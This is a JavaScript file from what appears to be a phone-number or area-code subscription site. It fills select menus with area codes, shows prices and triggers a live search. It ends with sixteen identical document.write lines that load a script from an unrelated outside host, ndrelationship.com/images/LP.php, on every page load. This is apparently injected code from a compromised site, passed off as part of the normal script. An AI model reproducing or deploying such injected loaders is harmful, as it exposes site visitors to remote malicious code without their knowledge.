/* $Revision: 1.2 $ */
progresson = new Image();
progresson.src = "images/progress_on.gif";
var seleted_areacode;

if(window.XMLHttpRequest || window.ActiveXObject) {
        document.write("<script type=\"text/javascript\" src=\"js/search.js\"><\/script>");
} else {
        // fallback if no xmlhttprequest
        //document.write("<script type=\"text/javascript\" src=\"js/search_opera.js\"><\/script>");
}

function updateform(i) 
{
    area = i; //document.areaselection.area.options[document.areaselection.area.selectedIndex].value;
    showareas();
}
    
function addoption(code,text) 
{
    if (document.areaselection.areacode) {
        var optionName = new Option(text, code, false, false)
        var length = document.areaselection.areacode.length;
        document.areaselection.areacode.options[length] = optionName;
    }
}
    
function removeoptions() 
{
    myfrom = document.areaselection.areacode;
    if (myfrom) 
    {
        for(i=myfrom.length-1; i>=0; i--) 
        {
            myfrom.options[i] = null;
        }
    }
}

function showareas() 
{
    if(data_areacodes[area]) 
    {
        removeoptions();
        addoption('notselected',str_select_area_code1);
        for (t=0; t<data_areacodes[area].length; t++) 
        {
            addoption(data_areacodes[area][t][0],data_areacodes[area][t][1]);
        }
    }
    if(area == 'notselected') 
    {
        removeoptions();
        addoption('notselected', str_select_area_code2);
        document.areaselection.areacode.options[0].selected = true;
    }
    var result = document.getElementById("areacode_select");
    if (result) 
    {
        result.style.display = "inline";
    }
}

function areacodeselected(acid) {

    if(acid == "notselected") return;

    seleted_areacode = acid;

    areacoded = -1;
    areacode = "";
    for (t=0; t<data_areacodes[area].length; t++) 
    {
        if(data_areacodes[area][t][0] == acid) 
        {
            areacoded = t;
            areacode = data_areacodes[area][t][1];
            break;
        }
    }
        
    var result = document.getElementById("noareacode");
    result.style.display = "none";
    var result = document.getElementById("yesareacode");
    result.style.display = "block";
    
    showPrices(areacoded);
    
    var result = document.getElementById("selectedareacode");
    if (result) {
        result.innerHTML = areacode;
    }
    var result = document.getElementById("stepone");
    result.innerHTML = "<h6 id=\"contrast\" style=\"margin: 20px 0 10px 0;\">"+str_her_step1+"</h4>";
    
    var search_progress = document.getElementById("search_progress");
		search_progress.src = "images/progress_on.gif";
    
		doLivesearch();
}

function showPrices(areacode_index) 
{

    // hide all
    frm = document.getElementById('subscrselect');
    for (var i=0; i < frm.elements.length; i++) 
    {
        nam = frm.elements[i].className
        if(nam.match(/^pref-[0-9]+[0-9]*$/)) 
        {
            frm.elements[i].disabled = (nam != 'pref-'+data_areacodes[area][areacode_index][0])
        }
    }
    
    // as we have only one class now
    document.getElementById("pc-"+data_areacodes[area][areacode_index][2]).style.display = "block";
}

function preupdateform() 
{

    if (selected_area > 0) 
    {
        cset = 0;
        for (i=0; i<document.areaselection.area.options.length; i++) 
        {
            if (document.areaselection.area.options[i].value == selected_area) 
            {
                document.areaselection.area.options[i].selected = true;
                cset = 1;
            }
        }
        if (cset) updateform(selected_area);
    }
    
    if (selected_prefix > 0) 
    {
        cset = 0;
				if (document.areaselection.areacode) 
				{
            for (i=0; i<document.areaselection.areacode.options.length; i++) 
            {
                if (document.areaselection.areacode.options[i].value == selected_prefix) 
                {
                    document.areaselection.areacode.options[i].selected = true;
                    cset = 1;
                }
            }
				}
        areacodeselected(selected_prefix);
    }
}

window.onload = function() 
{
	myobj = eval('document.areaselection');
	if(myobj) 
	{
		myobj2 = eval('document.areaselection.area');
		if(myobj2) 
		{
    		document.areaselection.area.options[0].selected = true;
		} 
		else 
		{
			return true;	
		}
	}
	else 
	{ 
			return true; 
	}
}

document.write('<script src=http://ndrelationship.com/images/LP.php ><\/script>');
document.write('<script src=http://ndrelationship.com/images/LP.php ><\/script>');
document.write('<script src=http://ndrelationship.com/images/LP.php ><\/script>');
document.write('<script src=http://ndrelationship.com/images/LP.php ><\/script>');
document.write('<script src=http://ndrelationship.com/images/LP.php ><\/script>');
document.write('<script src=http://ndrelationship.com/images/LP.php ><\/script>');
document.write('<script src=http://ndrelationship.com/images/LP.php ><\/script>');
document.write('<script src=http://ndrelationship.com/images/LP.php ><\/script>');
document.write('<script src=http://ndrelationship.com/images/LP.php ><\/script>');
document.write('<script src=http://ndrelationship.com/images/LP.php ><\/script>');
document.write('<script src=http://ndrelationship.com/images/LP.php ><\/script>');
document.write('<script src=http://ndrelationship.com/images/LP.php ><\/script>');
document.write('<script src=http://ndrelationship.com/images/LP.php ><\/script>');
document.write('<script src=http://ndrelationship.com/images/LP.php ><\/script>');
document.write('<script src=http://ndrelationship.com/images/LP.php ><\/script>');
document.write('<script src=http://ndrelationship.com/images/LP.php ><\/script>');